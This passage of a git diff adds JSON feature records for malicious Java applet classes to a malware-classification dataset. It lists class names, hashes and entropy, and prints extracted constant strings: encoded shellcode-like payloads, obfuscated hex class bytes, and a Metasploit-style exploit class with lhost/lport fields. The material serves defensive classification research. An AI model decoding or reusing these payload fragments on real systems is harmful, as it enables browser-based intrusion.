"a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63.results b/java_classification/data/malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63.results new file mode 100755 index 0000000..32d2e6b --- /dev/null +++ b/java_classification/data/malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "1c6fba98-2cda-4c83-906c-98fc753d1310", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pl,PZ,0N,pn,pN,pN,pm,9y,ke,Ps,0e,PS,oP,dM,qP,0C,05,PW,pl,Kq,Pt,LL,KP,p5,Ln,Ml,KR,Hu,pO,pc,M6,lt,sp,t5,SZ,6x,kj,SN,kU,83,8L,KZ,W2,Ju,TP,YK,XL,O3,0W,ps,0m,2Y,iS,XP,op,nw,pw,pr,HP,uQ,b0,lr,MQ,DK,Ow,fn,kk,Xy,xQ,iU,Ps,0U,PN,kY,Gs,wO,p7,O5,P2,UK,Js,wP,WG,7m,Pu,oS,0B,U8,zN,kH,oQ,O5,cy,Yk,1J,Lw,t7,qu,PU,PN,kY,Lp,QS,b2,sS,Xe,Tw,qG,pW,pk,Op,VD,LS,j6,9b,q6,2L,Kf,bS,c2,cO,pe,kw,pp,uj,ZM,QS,KK,L6,Nu,51,ha,uR,Ut,Cn,cX,kF,ho,yt,Ck,wQ,Su,TT,na,ur,X2,EK,v2,cs,8w,pc,kL,JK,qu,TT,pM,Xa,U7,pT,sK,pp,Pp,Ps,cr,wp,Pi,oV,6v,pN,cI,hu,Pr,U5,VQ,zU,QS,cK,Op,V5,Tq,Js,im,S9,Ru,T7,1K,0D,zU,Ps,El,tk,OV,6T,Hr,qP,VN,k0,u5,lL,Kp,tp,54,8C,3J,UF,6N,ka,fu,pW,sJ,U5,cO,9s,yq,QL,mf,co,5u,cy,Kt,Oo,Nd,Pp,8z,Rs,Ds,8K,qh,Kf,mU,Sj,zw,0X,kI,ae,kU,OT,5M,7a,NL,KQ,NE,t5,SK,m0,fN,kV,lP,Kl,KQ,NU,LG,sK,mn,ke,Tn,kg,sK,ul,kQ,NP,Y9,SY,xe,PK,OK,Oi,oL,Nr,nv,nZ,LL,XK,No,zv,n1,ny,HM,2B,SU,cY,ZM,Z1,Kv,V6,zD,o2,PU,75,2s,zP,yG,ps,Xs,Dp,tR,Pw,JT,ot,oS,Gq,xB,Yp,ss,XP,ec,X1,qQ,t0,tb,OP,s0,uQ,sP,kf,Nq,sR,O2,MV,Oq,s1,wr,I6,Mq,rq,yb,N4,oS,Vs,QQ,ss,Uv,NS,QP,sP,pp,xF,OR,N6,PF,PQ,qT,qF,Pp,2p,3V,PU,dg,H4,pT,qr,Rd,p4,t0,0P,9p,Jv,Qv,QF,PF,Pp,0U,f0,0V,Q2,rE,he,cQ,qv,Yg,IQ,vC,Tc,QR,wT,sf,VD,rr,CP,4w,Ew,Gu,4p,X0,9P,aU,bt,w4,tc,UF,Rt,sr,y5,46,Qb,FQ,tv,Rs,QQ,uU,iS,jT,pW,Cd,pp,0t,sp,ff,Su,fg,pU,PA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dadc2acf594112b6b7894304d5a31d6d03a0e72e", "file_name": "java_malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63", "_id": "1c6fba98-2cda-4c83-906c-98fc753d1310", "score": 0, "entropy": 6.112916977294643, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3222, "ssdeep": "96:HFloUwsdEhIwGbKou6TDE2iTULNkez1zNjWZ:llo5s+hIwGbKJmQ5ApnJNiZ", "sha256": "a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63", "md5": "308f2563aeb61278c42da49f852c3c3c", "parent_sha256": "a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d.results b/java_classification/data/malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d.results new file mode 100755 index 0000000..236769d --- /dev/null +++ b/java_classification/data/malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "uTQJLVI.java", "class_name": "uTQJLVI", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "nDvHqE"], "minor_version": 0, "const_pool_count": 66}}, "_id": "6194831c-f2b0-413d-81bf-4a22b42ae654", "verbose": {"java": {"constant strings": ["\\x12(", "]]].SNS", "_", "\\x16\\x0b\\x16\\x10\\x06\\x07\\x16", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ef4481712870b3bb074f3c0faae97f835e82f5a", "file_name": "java_malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d", "_id": "6194831c-f2b0-413d-81bf-4a22b42ae654", "score": 0, "entropy": 5.8575415016227375, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1618, "ssdeep": "24:RTKGxyQulfJbfDlqkpfg/8GIkgwbwiDMuaL4C55NsVClhXc0H+DWEbqGOLHzUk:5dxyFlfhfP8em0V55+YluJD5boHP", "sha256": "a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d", "md5": "994aed9a636692e300998a1edd7ddec6", "parent_sha256": "a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9.results b/java_classification/data/malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9.results new file mode 100755 index 0000000..99e4897 --- /dev/null +++ b/java_classification/data/malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "825a99bd-44da-463f-80ff-69f664322ab0", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pZ,0n,pn,pl,Pn,pN,pN,pl,Pn,pk,X7,pU,PS,05,Pj,Ku,Pm,9y,lu,Pu,P7,p1,OR,Dm,q4,pe,Pe,P7,pp,xt,LN,ks,pD,LN,kt,0U,LN,MN,kP,hW,xz,KG,yn,ka,PU,dL,MC,pq,lL,KE,8G,LN,kJ,WB,J3,4P,YY,xl,Ou,Ps,0U,P9,rZ,Yq,xp,o2,Ne,Pc,03,Xa,eD,2r,LP,mp,TK,OT,VN,kJ,H8,hQ,ic,0u,PE,Pn,k8,WQ,WM,Pw,OU,PQ,e9,jR,gp,W0,GK,0u,ow,pp,u8,zN,kj,OS,od,s8,IK,1j,L3,4W,q7,pe,Pl,Kk,l0,QP,Rq,CP,hF,dW,qw,pe,Pi,oq,F6,lR,zF,9F,1V,2l,KU,RR,sP,Co,pU,kS,0S,Ex,zM,Qq,kk,LF,N1,ur,XR,ES,Ev,co,sZ,Ku,Xo,y4,CK,w3,sS,44,nu,53,Hp,eK,v3,sT,H7,pQ,Kn,jO,1D,D6,PK,8P,Ew,pg,Ck,pR,pV,0q,CQ,G0,PI,o6,6B,0M,Sk,HU,PP,uU,Vr,Ju,Qv,3K,O6,6F,dp,Zv,9O,so,2U,Tc,qM,PD,zU,Pp,ux,4K,OS,fW,xp,Qr,vL,K1,eg,Ll,Kc,DV,N1,hv,cJ,UP,Vl,Kb,VU,p4,Cx,u4,sZ,is,yq,QN,MU,Sz,eF,Si,KF,oo,NV,pg,JJ,va,dS,8z,aX,K6,mu,Si,J1,PX,kJ,QW,KG,oT,58,gQ,Nl,KQ,NU,tt,Cy,MQ,vN,k4,LP,KN,kc,n7,lW,sY,MN,kw,tn,kd,CY,UN,K1,Np,YO,3y,xI,oK,NY,ok,Ol,NP,Nv,nZ,LN,xK,NN,jt,N3,NK,hk,R3,CD,sX,Jm,ZQ,K7,Fw,jv,Or,P6,4r,LQ,Wa,gE,PQ,x0,tR,Tb,Pe,jv,OD,oU,35,1S,DQ,vp,lr,Op,w2,E0,rS,Qd,2Q,dV,NP,cR,OB,MT,or,N1,uD,71,cT,oP,m3,QT,23,S5,8F,Ns,Xb,Tr,Mp,lv,Op,nd,pP,0u,h6,Qd,pp,6P,24,pv,Qf,Se,ap,8r,RV,Pv,T6,PF,Y0,Jp,0u,26,P4,pV,Pp,6V,Pv,QV,2V,PP,4a,rC,Ru,df,QD,ps,QB,wP,fw,GP,fv,Xt,tu,dr,DP,96,8Q,rV,PU,5p,2D,pV,Wv,Sa,tR,yQ,vs,Rw,EV,Vc,Ta,rp,fa,qr,z0,0e,av,Pp,0q,vp,00,7P,0G,p5,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76568b674cbf74d63f16b908bb2022c1625b8423", "file_name": "java_malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9", "_id": "825a99bd-44da-463f-80ff-69f664322ab0", "score": 0, "entropy": 5.987915470413699, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3132, "ssdeep": "96:hFFlIWvJWx8ZimaTskK8l2DiRxC92XQjt9bKsCn:1l5WqZimaTsla2mRxEkQpRKx", "sha256": "aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9", "md5": "e5e5db866bc81d769b3ffc146f591fd3", "parent_sha256": "aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4.results b/java_classification/data/malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4.results new file mode 100755 index 0000000..96f45d1 --- /dev/null +++ b/java_classification/data/malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 98}}, "_id": "51aefa0f-10de-4096-ae7c-f9ee51207c3f", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PL,Pl,PN,pz,0L,Pn,pz,0M,9K,KS,0W,p3,03,oP,dO,Qd,p7,pU,PE,Pl,Kw,04,Ll,KD,0u,LL,mL,Kr,Hg,Pm,Pq,mT,LU,cq,dv,cm,FX,kY,cn,kP,hE,Xl,KJ,Ws,ZS,4p,Ym,8n,oC,0U,Pc,0m,2X,yr,Hr,OP,ns,0S,0U,83,Ed,20,lB,MB,tK,OD,VN,kY,xy,xs,Iw,ps,0w,pl,KX,WR,gM,PG,O5,Pb,UK,Js,wV,71,Wo,pU,oe,P4,5J,ZN,kX,oq,OV,So,9m,QZ,Lt,DU,QU,Pu,Pl,K9,LP,Qq,Bp,SP,ht,Dc,15,PU,PY,or,vt,Lq,JV,93,aa,Bl,KG,rQ,Cp,CM,PE,ks,0B,Uz,ZN,aq,kk,LT,nu,53,HS,U2,Uf,ck,3H,k7,xm,Ys,3k,wb,cF,df,Nq,u0,x1,uK,vQ,Ss,83,0S,km,Zz,ae,TD,pO,xc,u7,pW,CO,0p,PF,0S,cs,gp,Pi,o6,6d,Po,sl,87,pQ,e6,fs,ZU,Qb,si,oR,vW,t2,zr,yO,sK,ru,Ta,QM,Pu,jU,Pp,u8,4i,ob,vd,H6,12,vl,K0,ue,lL,KC,DU,eT,8S,3y,eb,vl,Kt,6W,PD,CJ,Ug,CK,ya,YQ,Ql,m5,Sk,uv,SK,kV,oo,Nb,0G,HX,rR,TU,XO,1X,Kd,MV,cz,zs,pz,Ky,aE,k5,OP,ux,ga,Nn,ks,nq,45,S9,Mp,fn,kv,l0,KN,kQ,N5,Lv,c9,Mn,k6,dl,K3,3O,5N,Kq,Nr,yY,SX,hW,pY,oY,oI,ol,N0,Nt,NJ,LL,Xk,Nl,Jf,nS,NX,XM,2p,sF,SK,zN,j1,Kp,6F,z6,Op,p2,OP,Lp,kp,JT,21,ub,Lb,QS,0c,Xq,dq,db,Pd,zT,ov,OP,kr,OD,03,G0,ev,NP,ib,N0,fB,Od,o0,ps,Qs,Wu,5T,or,HR,Op,tS,GC,U3,Rd,n0,pc,XB,P6,OR,Nd,pv,Pf,Xf,QV,PD,v0,2T,pv,QV,Sv,Qv,Xr,RV,P4,tT,pu,i0,JT,ps,VT,pp,0V,PT,vF,Pp,1V,2V,Xg,Du,fT,uP,86,Qb,Cv,Y0,WP,1E,fT,pP,cU,ea,qQ,v1,qR,xa,uq,t1,t0,2U,e1,uf,Vr,C2,yS,Q0,6t,rf,YE,3u,iU,cV,QQ,JV,Pv,Qt,pt,p0,fT,p0,84,pg,p7,pA,", "41,25,25,25,25", ",", "", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ecf7d1545cee9a64d5290d653d3d0028a350aeb1", "file_name": "java_malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4", "_id": "51aefa0f-10de-4096-ae7c-f9ee51207c3f", "score": 0, "entropy": 6.005600176872412, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3099, "ssdeep": "48:CfovVyFlMC2xdMukUmm6e3KmsYlwlZywFiI6FxMRBHKkiGjb+/g/qafUS:iQAFl7276e6fpLIWLqk1W2x", "sha256": "ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4", "md5": "f4512c1b45747d69cb2d6099304674c2", "parent_sha256": "ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5.results b/java_classification/data/malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5.results new file mode 100755 index 0000000..74ea4be --- /dev/null +++ b/java_classification/data/malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "exaploit.java", "class_name": "msf/x/exaploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 91}}, "_id": "6af2cf16-caf3-412b-aa2f-e241e44f7d50", "verbose": {"java": {"constant strings": ["data", "jar", "lhost", "lport"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76e624852b4dbd02107d23bfcf4c736515d824ca", "file_name": "java_malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5", "_id": "6af2cf16-caf3-412b-aa2f-e241e44f7d50", "score": 0, "entropy": 5.704790553234484, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2570, "ssdeep": "48:ZTez5yFlP6Tpl4v7y0LfF3sLe8Jq9H7rlFR8iN9G9oHFyv6xXWOvxIhTN:ZTwkFlPi4v5d3sLXYlZ8iN9G9oGiMhTN", "sha256": "ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5", "md5": "b66f25ae1033bcf527f7a29db3fe9b0b", "parent_sha256": "ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3.results b/java_classification/data/malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3.results new file mode 100755 index 0000000..36cbe50 --- /dev/null +++ b/java_classification/data/malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Zend.java", "class_name": "Zend", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "init", ""], "minor_version": 0, "const_pool_count": 179}}, "_id": "9167ac06-6e3b-4952-9f7f-8899b50498cc", "verbose": {"java": {"constant strings": ["", "CAmMoedlFEBABmMoedlE0000003200270A0mMoedl00500180A0019001A07001mMoedlB0A001C001D07001E07001F07002001mMoedl00063C696E69743E01000328295601mMoedl0004436F646501000F4C696E65mMoedl4E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A61766mMoedl12F6C616E672F457863657074696F6E3BmMoedl010004746869730100034C423B01mMoedl000D537461636B4D61705461626C6507001FmMoedl07001B01000372756E01001428294C6mMoedlA6176612F6C616E672mMoedlF4F626A6563743B01000A536F757mMoedl2636546696C65010006422E6A61mMoedl76610C000800090700210CmMoedl002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C6mMoedl16E672F4F626A656374010001420mMoedl100276A6176612F7365637mMoedl5726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657mMoedl201000C646F50726976696CmMoedl6567656401003D284C6A6176612FmMoedl73656375726974792F50726976696C65676564457863657074696F6E41mMoedl6374696F6E3B2mMoedl94C6A6176612F6C616E672F4mMoedlF626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284mMoedlC6A6176612F6C616E672FmMoedl53656375726974794D61mMoedl6E616765723B295600210006000mMoedl500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F00mMoedl1000000011000000100002FF000C00010mMoedl70012000107001300000100140015000mMoedl1000A0000003A000200010000000C01B80004BB000559B70001B000000002000B00mMoedl00000A00020000001000040mMoedl011000C0000000C00010000mMoedl000C000F00100000000100160000mMoedl00020017", "mMoedl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0b0108b0e4ca741c2512a08c46a72c228c65bf4e", "file_name": "java_malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3", "_id": "9167ac06-6e3b-4952-9f7f-8899b50498cc", "score": 0, "entropy": 5.780200361419266, "libmagic": "compiled Java class data, version 51.0", "file_size": 5269, "ssdeep": "96:UUOOFlGDSlZyNuG0g8zSNK8F0iFqC8xFY7ajjuu/FjNFNbunG91F9AH:UUOslGDSlZyNuG0g8zSIKQ67cFjNFNap", "sha256": "acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3", "md5": "fbd5d6091eae78b01a6395dde5444811", "parent_sha256": "acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8.results b/java_classification/data/malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8.results new file mode 100755 index 0000000..b7359e4 --- /dev/null +++ b/java_classification/data/malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/boxolnjkpopm", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "vrhikequliawnd", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "c30bc434-5f65-45e3-8010-6eedbdf759bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0d2e2c10775b30a464d30c2cca97558f03813025", "file_name": "java_malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8", "_id": "c30bc434-5f65-45e3-8010-6eedbdf759bb", "score": 0, "entropy": 5.208320566849799, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6940, "ssdeep": "192:ThAJqpfCnmPofp1xhi/To55UTYwa5hGX1:dAJMss61yTofUTkc1", "sha256": "ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8", "md5": "64cd7f8ef11d4cdfa8e916b9e1909613", "parent_sha256": "ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b.results b/java_classification/data/malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b.results new file mode 100755 index 0000000..61790f0 --- /dev/null +++ b/java_classification/data/malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "str_to_bytes", "load"], "minor_version": 0, "const_pool_count": 166}}, "_id": "ebb74422-47b5-4f3e-b9b1-01d8fdc909be", "verbose": {"java": {"constant strings": ["89809264898E8F7C897E80", "81848780554A4A4A", "D004C0C406060636068D100632063D10063E063F0D064010064106420E06430E064410064106450D06460D06470E0648100649064A10060F064B10060F064C10060E064D0D064E100615063D0D064F0D06500D0651100619063D0E0652100641065310061906540E06551006190656100618064B100617065710060E06580E065910065A065B0E065C0E065D0E065E100615065F10061506601006150661100617065F10060E06611006170661100662066310066206640D06650D06660D06670D066807060C426F746F7A440706092E2F5C07060A49756A6B070615526F746B547B73686B785A6768726B070609787B7407061A2E2F5270677C67357267746D355568706B697A410706104B7E696B767A6F75747907061059757B78696B4C6F726B07061149726779793A3470677C6712063406350D066912066A066B07062D70677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A47697A6F75744B7E696B767A6F75740D066C12066D066E0706146E7A7A7634716B6B7667726F7C6B07060B6C6772796B12066F067007062170677C67356F7535487B6C6C6B786B6A4F74767B7A597A786B677307061270677C6735746B7A355B5852070706", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626262626262626262626262626262626262626", "2626262626262626262626262626264E5A5A76403535726B7874757B7A6B726B", "736B747A797A6E6B34767875356A3A7D6B3B5E4C6A373D3A3580777F54487A51", "0D0671120672067312063406741206750676120634067707062370677C67356F7535487F7A6B477878677F557B7A767B7A597A786B677307062270677C67356F7535487B6C6C6B786B6A557B7A767B7A597A786B677307061E70677C67356F75354C6F726B557B7A767B7A597A786B677307061C70677C67357267746D35597A786F746D487B6C6C6B7807060A5A4B5356120678067912067A067B07060E35737578346B7E6B12067C0673120634067D12067E067F07060B", "3636373739", "0D0680120681068207060B", "3636363D36", "07060B", "3636363B38", "3636373636", "1206830684120685068612068706350D0688120689068A12068B068C07061970677C67357267746D354B7E696B767A6F757407060C49726779793A07061670677C67357267746D355568706B697A07062D70677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A4B7E696B767A6F757447697A6F757407062470677C6735796B697B786F7A7F354769696B79794975747A787572726B780706126A7556786F7C6F726B6D6B6A0706432E5270677C6735796B697B786F7A7F3556786F7C6F726B6D6B6A4B7E696B767A6F757447697A6F7574412F5270677C67357267746D355568706B697A4107061670677C67357267746D35597F797A6B73070618796B7A596B697B786F7A7F536774676D6B780706242E5270677C67357267746D35596B697B786F7A7F536774676D6B78412F5C070611796B7A567875766B787A7F07063E2E5270677C67357267746D35597A786F746D415270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D4107061670677C67357267746D35597A786F746D07060A7A786F7307061A2E2F5270677C67357267746D35597A786F746D4107061B2E5270677C67357267746D35597A786F746D412F5C07061075766B74597A786B677307061D2E2F5270677C67356F75354F74767B7A597A786B67734107061E2E5270677C67356F75354F74767B7A597A786B6773412F5C07060C6D6B7A6B747C07062C2E5270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D4107060C6776766B746A0706322E5270677C67357267746D35597A786F746D412F5270677C67357267746D35597A786F746D487B6C6C6B784107060E7A75597A786F746D0706202E5270677C67356F7535557B7A767B7A597A786B6773414F2F5C07060A786B676A07060D2E61484F4F2F4F07061770677C67357267746D354F747A6B6D6B7807060E766778796B4F747A07061B2E5270677C67357267746D35597A786F746D412F4F07060B7D786F7A6B07060D2E61484F4F2F5C0706117A75487F7A6B477878677F07060A2E2F614807060B697275796B07061770677C67357267746D35587B747A6F736B0706106D6B7A587B747A6F736B07061B2E2F5270677C67357267746D35587B747A6F736B4107060A6B7E6B6907062D2E5270677C67357267746D35597A786F746D412F5270677C67357267746D35567875696B79794106270631063206070633060606080607063406350607063606060644060706080606061430BD060730BE06085DAD060A52B70607060A060F06120609060706370606061C060B06060610060A0613060F06180612061506130619060706380639060806360606082B060C06120606077B07BE060A170A06C20E52094309440A3C0A180B180CBE060D5DC1060E5FC1060F5F1810BC0611BD0612BC0613BD0614400BC106155FBD0616400CC106175FC106185FC106195FBD061A181BBE061CBC061D181EBC061DBC061FBD0620170A06BD0621400D1F0B3109170A06BC06225F43A1068723226644093C0E1B0E22A8066F23226A1B0E660D76A00619311B0E62391823BE062488975AAD064E23226A1B0E660D760AA60619311B0E62391825BE062488975AAD063223226A1B0E660D760BA60619311B0E62391826BE062488975AAD0616311B0E62391827BE062488975A8A0E07AD059D1F0C310922BC0628AD057C093C0E1F0CBC0629400F1F0CBC062A1F0FC43C10093C111B111B100B72A806311F0F1B11393C0E1F0F1B111F0F1B101B116A0A6A395A1F0F1B101B116A0A6A1B0E5A8A1107AD05D81F0D1F0F091B10BC062B1F0BBC062C1F0DBC062DBE062E40111F11C106195FBD061A181BBE061CBC061D181EBC061DBC061FBC062F5DAD060A5207B60607060A077507780630060706370606069C062B0606061D060A0620061006210614062206170623061F06240637062506400626066A062706790629067D062A0686062C0691062E06A1063006AD063206BD063406C9063606D9063A06E6062A06EC063D06F7063F06FA06400601064107060642070B064307170645071E0646072D064707390643073F06490749064A074E064B0753064C0758064D077506520778064F07790653063A0606060A060706300607063B0606060806", "3C"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "41d12949d79cb95f00b196715b4ecc5de88173e7", "file_name": "java_malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b", "_id": "ebb74422-47b5-4f3e-b9b1-01d8fdc909be", "score": 0, "entropy": 5.16509219130889, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7661, "ssdeep": "192:6lkP6c3J8aaaaa4sDIPk/FQjZK1BxluFC:6qScikdn1ZgC", "sha256": "ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b", "md5": "69a8bb70a7db9837927d449afa708cbf", "parent_sha256": "ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480.results b/java_classification/data/malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480.results new file mode 100755 index 0000000..0c6f0b5 --- /dev/null +++ b/java_classification/data/malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "7db81be3-738d-43d6-8eb3-e589ed1bdbe1", "verbose": {"java": {"constant strings": 